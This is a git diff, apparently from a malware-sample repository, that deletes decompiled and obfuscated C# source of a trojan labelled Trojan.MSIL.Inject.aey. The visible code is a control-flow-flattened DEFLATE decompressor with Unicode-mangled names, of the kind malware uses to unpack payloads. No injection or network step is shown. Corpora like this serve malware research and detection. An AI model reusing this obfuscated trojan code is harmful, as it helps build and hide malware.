goto label_1; -label_5: - if (index >= _param0.Length) - { - \uE00A.\uE003(objArray); - return objArray; - } - goto label_3; - } - - internal static void \uE003(\uE00B[] _param0) - { - int num1 = _param0[0].\uE001; - int index1 = 1; - if ((index1 == 0 ? 0 : 1) != 0) - goto label_4; -label_1: - if (num1 < _param0[index1].\uE001) - num1 = _param0[index1].\uE001; - ++index1; -label_4: - if (index1 >= _param0.Length) - { - int[] numArray1 = new int[num1 + 1]; - for (int index2 = 0; index2 < _param0.Length; ++index2) - ++numArray1[_param0[index2].\uE001]; - int[] numArray2 = new int[num1 + 1]; -label_10: - int num2 = 0; - int num3; - int index3; - while (true) - { - switch (num2) - { - case 0: - num3 = 0; - num2 = 1; - continue; - case 1: - numArray1[0] = 0; - num2 = 2; - continue; - case 2: - index3 = 1; - num2 = 3; - continue; - case 3: - goto label_16; - default: - goto label_10; - } - } -label_16: - for (; index3 <= num1; ++index3) - { - num3 = num3 + numArray1[index3 - 1] << 1; - numArray2[index3] = num3; - } - for (int index4 = 0; index4 < _param0.Length; ++index4) - { - int index5 = _param0[index4].\uE001; - if (index5 != 0) - { - _param0[index4].\uE000 = numArray2[index5]; - ++numArray2[index5]; - } - } - } - else - goto label_1; - } - - internal static \uE00D \uE004(\uE00B[] _param0, \uE00B[] _param1) => new \uE00D() - { - \uE000 = \uE00A.\uE005(_param0), - \uE001 = \uE00A.\uE005(_param1) - }; - - internal static \uE00C \uE005(\uE00B[] _param0) - { - \uE00A.\uE008[] objArray = new \uE00A.\uE008[_param0.Length]; - int num1 = 0; - int index = 0; - if ((index == 0 ? 1 : 0) != 0) - goto label_9; -label_1: - if (_param0[index].\uE001 > 0) - { - \uE00A.\uE008 obj = new \uE00A.\uE008(); -label_4: - int num2 = 0; - while (true) - { - switch (num2) - { - case 0: - obj.\uE000 = _param0[index]; - num2 = 1; - continue; - case 1: - obj.\uE001 = (ushort) index; - num2 = 2; - continue; - case 2: - goto label_7; - default: - goto label_4; - } - } -label_7: - objArray[num1++] = obj; - } - ++index; -label_9: - if (index >= _param0.Length) - { - if (_param0.Length < 1) - throw new InvalidOperationException(); - return \uE00A.\uE006(objArray, num1, 0, 0); - } - goto label_1; - } - - private static \uE00C \uE006( - \uE00A.\uE008[] _param0, - int _param1, - int _param2, - int _param3) - { - \uE00A.\uE008[] objArray1 = new \uE00A.\uE008[_param1]; - \uE00A.\uE008[] objArray2 = new \uE00A.\uE008[_param1]; - \uE00C obj1 = new \uE00C(); - obj1.\uE000 = false; - int num1; - int num2 = num1 = 0; - int index = 0; - if ((index == 0 ? 1 : 0) != 0) - goto label_11; -label_1: - \uE00A.\uE008 obj2 = _param0[index]; - if (obj2.\uE000.\uE001 == _param3 && obj2.\uE000.\uE000 == _param2) - { - obj1.\uE000 = true; - obj1.\uE001 = obj2.\uE001; - } - else - { - bool flag = (obj2.\uE000.\uE000 >> obj2.\uE000.\uE001 - _param3 - 1 & 1) != 0; -label_5: - int num3 = 0; - while (true) - { - switch (num3) - { - case 0: - if (flag) - { - num3 = 1; - continue; - } - goto label_9; - case 1: - objArray2[num2++] = obj2; - num3 = 2; - continue; - case 2: - goto label_10; - default: - goto label_5; - } - } -label_9: - objArray1[num1++] = obj2; - } -label_10: - ++index; -label_11: - if (index >= _param1) - { - if (obj1.\uE000) - { - if (num2 > 0 || num1 > 0) - throw new InvalidOperationException(); - } - else - { - if (num1 > 0) - obj1.\uE002 = \uE00A.\uE006(objArray1, num1, _param2 << 1, _param3 + 1); - if (num2 > 0) - obj1.\uE003 = \uE00A.\uE006(objArray2, num2, _param2 << 1 | 1, _param3 + 1); - } - return obj1; - } - goto label_1; - } - - internal static void \uE007(int _param0, out int _param1, out int _param2) - { - _param1 = \uE00A.\uE015[_param0 - 257]; -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - _param2 = \uE00A.\uE016[_param0 - 257]; - num = 1; - continue; - case 1: - goto label_4; - default: - goto label_2; - } - } -label_4:; - } - - internal static void \uE008(int _param0, out int _param1, out int _param2, out int _param3) - { - int index = Array.BinarySearch(\uE00A.\uE015, _param0); - if (index < 0) - index = ~index - 1; - _param1 = index + 257; -label_4: - int num = 0; - while (true) - { - switch (num) - { - case 0: - _param2 = _param0 - \uE00A.\uE015[index]; - num = 1; - continue; - case 1: - _param3 = \uE00A.\uE016[index]; - num = 2; - continue; - case 2: - goto label_7; - default: - goto label_4; - } - } -label_7:; - } - - internal static void \uE009(int _param0, out int _param1, out int _param2, out int _param3) - { - int index = Array.BinarySearch(\uE00A.\uE017, _param0); - if (index < 0) - index = ~index - 1; - _param1 = index; -label_4: - int num = 0; - while (true) - { - switch (num) - { - case 0: - _param2 = _param0 - \uE00A.\uE017[index]; - num = 1; - continue; - case 1: - _param3 = \uE00A.\uE018[index]; - num = 2; - continue; - case 2: - goto label_7; - default: - goto label_4; - } - } -label_7:; - } - - internal static int[] \uE00A(int[] _param0, int _param1) => \uE00A.\uE000.\uE000(_param0, _param1); - - internal static int[] \uE00B(int[] _param0) => \uE00A.\uE000.\uE000(_param0, 15); - - internal static int \uE00C(int _param0) - { - int num1 = _param0; -label_2: - int num2 = 0; - while (true) - { - switch (num2) - { - case 0: - switch (num1) - { - case 16: - goto label_5; - case 17: - goto label_6; - case 18: - goto label_7; - default: - num2 = 1; - continue; - } - case 1: - goto label_8; - default: - goto label_2; - } - } -label_5: - return 2; -label_6: - return 3; -label_7: - return 7; -label_8: - return 0; - } - - internal static int[] \uE00D(int[] _param0, int _param1, int _param2) - { - ArrayList arrayList = new ArrayList(); - int num1 = 0; - if ((num1 == 0 ? 1 : 0) != 0) - goto label_22; -label_1: - if (_param0[_param1 + num1] == 0) - { - int num2 = 0; - do - { - ++num2; - } - while (num1 + num2 < _param2 && num2 < 138 && _param0[_param1 + num1 + num2] == 0); - if (num2 < 3) - { - if (num2 >= 1) - arrayList.Add((object) 0); - if (num2 >= 2) - arrayList.Add((object) 0); - } - else if (num2 < 11) - { - arrayList.Add((object) 17); - arrayList.Add((object) (num2 - 3)); - } - else - { - arrayList.Add((object) 18); - arrayList.Add((object) (num2 - 11)); - } - num1 += num2; - } - else - { - int num3 = _param0[_param1 + num1++]; -label_15: - int num4 = 1; - int num5; - while (true) - { - switch (num4) - { - case 0: - num5 = 0; - num4 = 2; - continue; - case 1: - arrayList.Add((object) num3); - num4 = 0; - continue; - case 2: - goto label_19; - default: - goto label_15; - } - } -label_19: - while (num1 + num5 < _param2 && num5 < 6 && _param0[_param1 + num1 + num5] == num3) - ++num5; - if (num5 >= 3) - { - arrayList.Add((object) 16); - arrayList.Add((object) (num5 - 3)); - num1 += num5; - } - } -label_22: - if (num1 >= _param2) - return (int[]) arrayList.ToArray(typeof (int)); - goto label_1; - } - - private sealed class \uE000 - { - internal static int[] \uE000(int[] _param0, int _param1) - { - int[] items = new int[_param0.Length]; - int[] numArray1 = new int[_param0.Length]; - int index1 = 0; - if ((index1 == 0 ? 1 : 0) != 0) - goto label_2; -label_1: - items[index1] = index1; - ++index1; -label_2: - if (index1 >= items.Length) - { - Array.Copy((Array) _param0, (Array) numArray1, _param0.Length); - Array.Sort(numArray1, items); - int sourceIndex = 0; - while (sourceIndex < numArray1.Length && numArray1[sourceIndex] == 0) - ++sourceIndex; - int[] destinationArray = new int[numArray1.Length - sourceIndex]; -label_8: - int num = 1; - int[] numArray2; - while (true) - { - switch (num) - { - case 0: - if (destinationArray.Length == 0) - { - num = 2; - continue; - } - goto label_13; - case 1: - Array.Copy((Array) numArray1, sourceIndex, (Array) destinationArray, 0, destinationArray.Length); - num = 0; - continue; - case 2: - numArray2 = new int[0]; - num = 3; - continue; - case 3: - goto label_16; - default: - goto label_8; - } - } -label_13: - if (destinationArray.Length == 1) - numArray2 = new int[1]{ 1 }; - else - numArray2 = \uE00A.\uE000.\uE001(destinationArray, _param1); -label_16: - int[] numArray3 = new int[_param0.Length]; - for (int index2 = 0; index2 < numArray2.Length; ++index2) - numArray3[items[index2 + sourceIndex]] = numArray2[index2]; - return numArray3; - } - goto label_1; - } - - private static int[] \uE001(int[] _param0, int _param1) - { - int length = _param0.Length; -label_2: - int num1 = 3; - int[][] numArray1; - int index1; - int[] numArray2; - while (true) - { - switch (num1) - { - case 0: - numArray1[0] = _param0; - num1 = 2; - continue; - case 1: - if (index1 != 0) - { - num1 = 5; - continue; - } - goto label_10; - case 2: - numArray2 = new int[_param0.Length / 2]; - num1 = 4; - continue; - case 3: - numArray1 = new int[_param1][]; - num1 = 0; - continue; - case 4: - index1 = 0; - num1 = 1; - continue; - case 5: - goto label_9; - default: - goto label_2; - } - } -label_9: - int num2 = 0; - goto label_11; -label_10: - num2 = 1; -label_11: - if (num2 != 0) - goto label_13; -label_12: - numArray2[index1] = _param0[index1 * 2] + _param0[index1 * 2 + 1]; - ++index1; -label_13: - if (index1 >= numArray2.Length) - { - for (int index2 = 1; index2 < _param1; ++index2) - { - int[] numArray3 = \uE00A.\uE000.\uE002(numArray2, _param0); - numArray1[index2] = numArray3; - numArray2 = new int[numArray3.Length / 2]; - for (int index3 = 0; index3 < numArray2.Length; ++index3) - numArray2[index3] = numArray3[index3 * 2] + numArray3[index3 * 2 + 1]; - } - int[] numArray4 = new int[length]; - int num3 = length - 1; - for (int index4 = _param1 - 1; index4 >= 0; --index4) - { - int[] numArray5 = numArray1[index4]; - int num4 = 0; - int index5 = 0; - for (int index6 = 0; index6 < num3 * 2; ++index6) - { - if (index5 < _param0.Length && _param0[index5] == numArray5[index6]) - { - ++numArray4[index5]; - ++index5; - } - else - ++num4; - } - num3 = num4; - } - return numArray4; - } - goto label_12; - } - - private static int[] \uE002(int[] _param0, int[] _param1) - { - int[] numArray = new int[_param0.Length + _param1.Length]; -label_2: - int num1 = 3; - int index1; - int num2; - int index2; - while (true) - { - switch (num1) - { - case 0: - index1 = 0; - num1 = 2; - continue; - case 1: - if (num2 != 0) - { - num1 = 4; - continue; - } - goto label_9; - case 2: - num2 = 0; - num1 = 1; - continue; - case 3: - index2 = 0; - num1 = 0; - continue; - case 4: - goto label_8; - default: - goto label_2; - } - } -label_8: - int num3 = 0; - goto label_10; -label_9: - num3 = 1; -label_10: - if (num3 != 0) - goto label_12; -label_11: - numArray[num2++] = _param0[index2] >= _param1[index1] ? _param1[index1++] : _param0[index2++]; -label_12: - if (index2 >= _param0.Length || index1 >= _param1.Length) - { - while (index2 < _param0.Length) - numArray[num2++] = _param0[index2++]; - while (index1 < _param1.Length) - numArray[num2++] = _param1[index1++]; - return numArray; - } - goto label_11; - } - } - - private struct \uE008 - { - internal \uE00B \uE000; - internal ushort \uE001; - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs deleted file mode 100644 index ba74e46c..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs +++ /dev/null @@ -1,11 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4.exe - -internal struct \uE00B -{ - public int \uE000; - public int \uE001; -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs deleted file mode 100644 index aa5a59c9..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4.exe - -internal sealed class \uE00C -{ - internal bool \uE000; - internal ushort \uE001; - internal \uE00C \uE002; - internal \uE00C \uE003; -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs deleted file mode 100644 index fd20b4d7..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs +++ /dev/null @@ -1,11 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4.exe - -internal sealed class \uE00D -{ - internal \uE00C \uE000; - internal \uE00C \uE001; -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs deleted file mode 100644 index e3dde210..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs +++ /dev/null @@ -1,798 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4.exe - -using System; -using System.IO; - -internal sealed class \uE00E -{ - public static void \uE000(Stream _param0, Stream _param1) - { - byte[] buffer = new byte[4096]; - \uE00E.\uE000 obj = new \uE00E.\uE000(_param0); - while (true) - { - int count = obj.\uE000(buffer, 0, buffer.Length); - if ((count <= 0 ? 0 : 1) != 0) - _param1.Write(buffer, 0, count); - else - break; - } - } - - public sealed class \uE000 - { - private \uE00E.\uE009 \uE000 = new \uE00E.\uE009(32769); - private \uE00E.\uE008 \uE001; - private \uE00D \uE002; - private int \uE003 = -1; - private int \uE004 = -1; - private bool \uE005; - private int \uE006; - private long \uE007; - private long \uE008; - private bool \uE009; - private int \uE00A; - private bool \uE00B; - - public \uE000(Stream _param1) => this.\uE001 = new \uE00E.\uE008(_param1); - - public int \uE000(byte[] _param1, int _param2, int _param3) - { - if ((_param1 == null ? 0 : 1) == 0) - throw new ArgumentNullException(); - if (_param3 == 0 || this.\uE009) - return 0; - int num1 = 0; -label_15: - while (num1 < _param3) - { - while (this.\uE003 < 0 && !this.\uE009) - this.\uE009 = !this.\uE001(); - if (!this.\uE009) - { - int num2 = this.\uE002(_param1, _param2 + num1, _param3 - num1); -label_10: - int num3 = 0; - while (true) - { - switch (num3) - { - case 0: - if (num2 > 0) - { - num3 = 1; - continue; - } - goto label_14; - case 1: - num1 += num2; - num3 = 2; - continue; - case 2: - goto label_15; - default: - goto label_10; - } - } -label_14: - this.\uE003 = -1; - } - else - break; - } - return num1; - } - - private bool \uE001() - { - if ((!this.\uE005 ? 1 : 0) == 0) - return false; - this.\uE007 = this.\uE001.\uE004; -label_4: - int num1 = 2; - int num2; - while (true) - { - switch (num1) - { - case 0: - switch (num2) - { - case 0: - goto label_10; - case 1: - goto label_13; - case 2: - goto label_14; - default: - num1 = 4; - continue; - } - case 1: - this.\uE003 = this.\uE001.\uE000(2); - num1 = 3; - continue; - case 2: - this.\uE005 = this.\uE001.\uE000(1) > 0; - num1 = 1; - continue; - case 3: - num2 = this.\uE003; - num1 = 0; - continue; - case 4: - goto label_15; - default: - goto label_4; - } - } -label_10: - this.\uE001.\uE001(); - int num3 = this.\uE001.\uE000(16); - int num4 = this.\uE001.\uE000(16); - this.\uE006 = (num3 & ~num4) == num3 ? num3 : throw new InvalidOperationException(); - this.\uE002 = (\uE00D) null; - this.\uE00B = true; - goto label_16; -label_13: - \uE00B[] objArray1 = \uE00A.\uE011; - \uE00B[] objArray2 = \uE00A.\uE012; - this.\uE006 = 0; - this.\uE002 = \uE00A.\uE013; - this.\uE00B = false; - goto label_16; -label_14: - \uE00B[] objArray3; - \uE00B[] objArray4; - this.\uE009(this.\uE001, out objArray3, out objArray4); - this.\uE006 = 0; - this.\uE002 = \uE00A.\uE004(objArray3, objArray4); - this.\uE00B = false; - goto label_16; -label_15: - throw new InvalidOperationException(); -label_16: - this.\uE008 = this.\uE001.\uE004; - return true; - } - - private int \uE002(byte[] _param1, int _param2, int _param3) - { - int num1 = _param2; - if ((this.\uE003 == 0 ? 0 : 1) == 0) - { - if (this.\uE006 > 0) - { - int num2 = Math.Min(_param3, this.\uE006); -label_4: - int num3 = 3; - while (true) - { - switch (num3) - { - case 0: - _param2 += num2; - num3 = 5; - continue; - case 1: - _param3 -= num2; - num3 = 0; - continue; - case 2: - this.\uE000.\uE001(_param1, _param2, num2); - num3 = 4; - continue; - case 3: - this.\uE001.\uE002(_param1, _param2, num2); - num3 = 2; - continue; - case 4: - this.\uE006 -= num2; - num3 = 1; - continue; - case 5: - goto label_22; - default: - goto label_4; - } - } - } - } - else if (!this.\uE00B) - { - if (this.\uE00A > 0) - this.\uE003(_param1, ref _param2, ref _param3); - if (_param3 > 0) - { - do - { - int num4 = \uE00E.\uE000.\uE006(this.\uE001, this.\uE002.\uE000); - this.\uE00B = num4 == 256; - if (!this.\uE00B) - { - if (num4 < 256) - { - _param1[_param2++] = (byte) num4; - this.\uE000.\uE000((byte) num4); - --_param3; - } - else if (num4 <= 285) - { - int num5 = \uE00E.\uE000.\uE007(this.\uE001, num4); - int num6 = \uE00E.\uE000.\uE008(this.\uE001, this.\uE002.\uE001); - if ((long) num6 > this.\uE000.\uE003) - throw new InvalidOperationException(); - this.\uE004 = num6; - this.\uE00A = num5; - this.\uE003(_param1, ref _param2, ref _param3); - } - } - else - break; - } - while (_param3 > 0); - } - } -label_22: - this.\uE008 = this.\uE001.\uE004; - return _param2 - num1; - } - - private void \uE003(byte[] _param1, ref int _param2, ref int _param3) - { - int num1 = Math.Min(this.\uE00A, _param3); - byte[] sourceArray = this.\uE000.\uE002(this.\uE004, Math.Min(num1, this.\uE004)); - _param3 -= num1; - this.\uE00A -= num1; - while ((num1 <= sourceArray.Length ? 0 : 1) != 0) - { - Array.Copy((Array) sourceArray, 0, (Array) _param1, _param2, sourceArray.Length); -label_3: - int num2 = 0; - while (true) - { - switch (num2) - { - case 0: - _param2 += sourceArray.Length; - num2 = 1; - continue; - case 1: - num1 -= sourceArray.Length; - num2 = 2; - continue; - case 2: - goto label_6; - default: - goto label_3; - } - } -label_6: - this.\uE000.\uE001(sourceArray, 0, sourceArray.Length); - } - Array.Copy((Array) sourceArray, 0, (Array) _param1, _param2, num1); - _param2 += num1; - this.\uE000.\uE001(sourceArray, 0, num1); - } - - public bool \uE004(int _param1) - { - byte[] numArray = new byte[1024]; - int num; - while (_param1 > 0 && ((num = this.\uE000(numArray, 0, Math.Min(1024, _param1))) <= 0 ? 0 : 1) != 0) - _param1 -= num; - return _param1 <= 0; - } - - public void \uE005() - { - byte[] numArray = new byte[1024]; - do - ; - while (this.\uE000(numArray, 0, 1024) > 0); - } - - private static int \uE006(\uE00E.\uE008 _param0, \uE00C _param1) - { - while (true) - { - if (_param1 == null) - goto label_7; - else - goto label_4; -label_3: - int num; - while (true) - { - switch (num) - { - case 0: - if (_param1.\uE000) - { - num = 1; - continue; - } - goto label_1; - case 1: - goto label_7; - case 2: - goto label_9; - default: - goto label_4; - } - } -label_1: - _param1 = (_param0.\uE000(1) <= 0 ? 0 : 1) != 0 ? _param1.\uE003 : _param1.\uE002; - continue; -label_4: - num = 0; - goto label_3; -label_7: - if (_param1 == null) - { - num = 2; - goto label_3; - } - else - goto label_10; - } -label_9: - throw new InvalidOperationException(); -label_10: - return (int) _param1.\uE001; - } - - private static int \uE007(\uE00E.\uE008 _param0, int _param1) - { - int num1; - int num2; - \uE00A.\uE007(_param1, out num1, out num2); -label_2: - int num3 = 0; - while (true) - { - switch (num3) - { - case 0: - if (num2 > 0) - { - num3 = 1; - continue; - } - goto label_6; - case 1: - goto label_5; - default: - goto label_2; - } - } -label_5: - return num1 + _param0.\uE000(num2); -label_6: - return num1; - } - - private static int \uE008(\uE00E.\uE008 _param0, \uE00C _param1) - { - int index = \uE00E.\uE000.\uE006(_param0, _param1); - int num1 = index <= 29 ? \uE00A.\uE017[index] : throw new InvalidOperationException(); -label_4: - int num2 = 1; - int num3; - int num4; - while (true) - { - switch (num2) - { - case 0: - if (num3 > 0) - { - num2 = 4; - continue; - } - goto label_15; - case 1: - num3 = \uE00A.\uE018[index]; - num2 = 0; - continue; - case 2: - if (index == 284) - { - num2 = 3; - continue; - } - goto label_14; - case 3: - if (num4 > 30) - { - num2 = 5; - continue; - } - goto label_14; - case 4: - num4 = _param0.\uE000(num3); - num2 = 2; - continue; - case 5: - goto label_13; - default: - goto label_4; - } - } -label_13: - throw new InvalidOperationException(); -label_14: - return num1 + num4; -label_15: - return num1; - } - - private void \uE009(\uE00E.\uE008 _param1, out \uE00B[] _param2, out \uE00B[] _param3) - { - int length1 = _param1.\uE000(5) + 257; -label_2: - int num1 = 1; - int num2; - int length2; - while (true) - { - switch (num1) - { - case 0: - num2 = _param1.\uE000(4) + 4; - num1 = 2; - continue; - case 1: - length2 = _param1.\uE000(5) + 1; - num1 = 0; - continue; - case 2: - if (length1 > 286) - { - num1 = 3; - continue; - } - goto label_8; - case 3: - goto label_7; - default: - goto label_2; - } - } -label_7: - throw new InvalidOperationException(); -label_8: - int[] numArray1 = \uE00A.\uE014; - int[] numArray2 = new int[19]; - int index1 = 0; - if ((index1 == 0 ? 1 : 0) != 0) - goto label_10; -label_9: - numArray2[numArray1[index1]] = _param1.\uE000(3); - ++index1; -label_10: - if (index1 >= num2) - { - \uE00C obj = \uE00A.\uE005(\uE00A.\uE002(numArray2)); - int[] numArray3 = \uE00E.\uE000.\uE00A(_param1, obj, length1 + length2); - _param2 = new \uE00B[length1]; - for (int index2 = 0; index2 < length1; ++index2) - _param2[index2].\uE001 = numArray3[index2]; - \uE00A.\uE003(_param2); - _param3 = new \uE00B[length2]; - for (int index3 = 0; index3 < length2; ++index3) - _param3[index3].\uE001 = numArray3[index3 + length1]; - \uE00A.\uE003(_param3); - } - else - goto label_9; - } - - private static int[] \uE00A(\uE00E.\uE008 _param0, \uE00C _param1, int _param2) - { - int[] numArray = new int[_param2]; - int index1 = 0; - if ((index1 == 0 ? 1 : 0) != 0) - goto label_22; -label_1: - int num1 = \uE00E.\uE000.\uE006(_param0, _param1); -label_3: - int num2 = 1; - while (true) - { - switch (num2) - { - case 0: - numArray[index1] = num1; - num2 = 2; - continue; - case 1: - if (num1 < 16) - { - num2 = 0; - continue; - } - goto label_7; - case 2: - goto label_21; - default: - goto label_3; - } - } -label_7: - switch (num1) - { - case 16: - int num3 = _param0.\uE000(2) + 3; - if (num3 + index1 > numArray.Length) - throw new InvalidOperationException(); - for (int index2 = 0; index2 < num3; ++index2) - numArray[index1 + index2] = numArray[index1 - 1]; - index1 += num3 - 1; - break; - case 17: - int num4 = _param0.\uE000(3) + 3; - if (num4 + index1 > numArray.Length) - throw new InvalidOperationException(); - index1 += num4 - 1; - break; - case 18: - int num5 = _param0.\uE000(7) + 11; - if (num5 + index1 > numArray.Length) - throw new InvalidOperationException(); - index1 += num5 - 1; - break; - default: - throw new InvalidOperationException(); - } -label_21: - ++index1; -label_22: - if (index1 >= _param2) - return numArray; - goto label_1; - } - } - - private sealed class \uE008 - { - private uint \uE000; - private int \uE001; - private int \uE002; - private Stream \uE003; - internal long \uE004; - - internal \uE008(Stream _param1) => this.\uE003 = _param1; - - internal int \uE000(int _param1) - { - this.\uE004 += (long) _param1; - for (int index = _param1 - (this.\uE002 - this.\uE001); (index <= 0 ? 0 : 1) != 0; index -= 8) - { - this.\uE000 |= checked ((uint) this.\uE003.ReadByte()) << this.\uE002; - this.\uE002 += 8; - } - int num1 = (int) (this.\uE000 >> this.\uE001) & (1 << _param1) - 1; -label_5: - int num2 = 2; - while (true) - { - switch (num2) - { - case 0: - this.\uE002 = this.\uE001 = 0; - num2 = 1; - continue; - case 1: - this.\uE000 = 0U; - num2 = 4; - continue; - case 2: - this.\uE001 += _param1; - num2 = 3; - continue; - case 3: - if (this.\uE002 == this.\uE001) - { - num2 = 0; - continue; - } - goto label_11; - case 4: - goto label_13; - default: - goto label_5; - } - } -label_11: - if (this.\uE001 >= 8) - { - this.\uE000 >>= this.\uE001; - this.\uE002 -= this.\uE001; - this.\uE001 = 0; - } -label_13: - return num1; - } - - internal void \uE001() - { - if (this.\uE002 != this.\uE001) - this.\uE004 += (long) (this.\uE002 - this.\uE001); - this.\uE002 = this.\uE001 = 0; -label_4: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE000 = 0U; - num = 1; - continue; - case 1: - goto label_6; - default: - goto label_4; - } - } -label_6:; - } - - internal void \uE002(byte[] _param1, int _param2, int _param3) - { - if (this.\uE002 != this.\uE001) - throw new InvalidOperationException(); - int num1 = this.\uE003.Read(_param1, _param2, _param3); -label_4: - int num2 = 0; - while (true) - { - switch (num2) - { - case 0: - this.\uE004 += (long) (num1 << 3); - num2 = 1; - continue; - case 1: - if (num1 != _param3) - { - num2 = 2; - continue; - } - goto label_7; - case 2: - goto label_9; - default: - goto label_4; - } - } -label_7: - return; -label_9: - throw new InvalidOperationException(); - } - } - - private sealed class \uE009 - { - private byte[] \uE000; - private int \uE001; - internal int \uE002; - internal long \uE003; - - internal \uE009(int _param1) - { - this.\uE002 = _param1; - this.\uE000 = new byte[_param1]; - } - - internal void \uE000(byte _param1) - { - this.\uE000[this.\uE001++] = _param1; - if ((this.\uE001 >= this.\uE002 ? 0 : 1) == 0) - this.\uE001 = 0; - ++this.\uE003; - } - - internal void \uE001(byte[] _param1, int _param2, int _param3) - { - this.\uE003 += (long) _param3; - if ((_param3 >= this.\uE002 ? 0 : 1) == 0) - { - Array.Copy((Array) _param1, _param2, (Array) this.\uE000, 0, this.\uE002); - this.\uE001 = 0; - } - else if (this.\uE001 + _param3 > this.\uE002) - { - int length1 = this.\uE002 - this.\uE001; -label_5: - int num = 2; - int length2; - while (true) - { - switch (num) - { - case 0: - Array.Copy((Array) _param1, _param2 + length1, (Array) this.\uE000, 0, length2); - num = 1; - continue; - case 1: - this.\uE001 = length2; - num = 4; - continue; - case 2: - length2 = this.\uE001 + _param3 - this.\uE002; - num = 3; - continue; - case 3: - Array.Copy((Array) _param1, _param2, (Array) this.\uE000, this.\uE001, length1); - num = 0; - continue; - case 4: - goto label_12; - default: - goto label_5; - } - } -label_12:; - } - else - { - Array.Copy((Array) _param1, _param2, (Array) this.\uE000, this.\uE001, _param3); - this.\uE001 += _param3; - if (this.\uE001 != this.\uE002) - return; - this.\uE001 = 0; - } - } - - internal byte[] \uE002(int _param1, int _param2) - { - byte[] destinationArray = new byte[_param2]; - if ((this.\uE001 >= _param1 ? 0 : 1) == 0) - { - Array.Copy((Array) this.\uE000, this.\uE001 - _param1, (Array) destinationArray, 0, _param2); - } - else - { - int num1 = _param1 - this.\uE001; -label_4: - int num2 = 1; - while (true) - { - switch (num2) - { - case 0: - Array.Copy((Array) this.\uE000, 0, (Array) destinationArray, num1, _param2 - num1); - num2 = 3; - continue; - case 1: - if (num1 < _param2) - { - num2 = 2; - continue; - } - goto label_9; - case 2: - Array.Copy((Array) this.\uE000, this.\uE002 - num1, (Array) destinationArray, 0, num1); - num2 = 0; - continue; - case 3: - goto label_10; - default: - goto label_4; - } - } -label_9: - Array.Copy((Array) this.\uE000, this.\uE002 - num1, (Array) destinationArray, 0, _param2); - } -label_10: - return destinationArray; - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs deleted file mode 100644 index 813e8d14..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4/.cs +++ /dev/null @@ -1,1584 +0,0 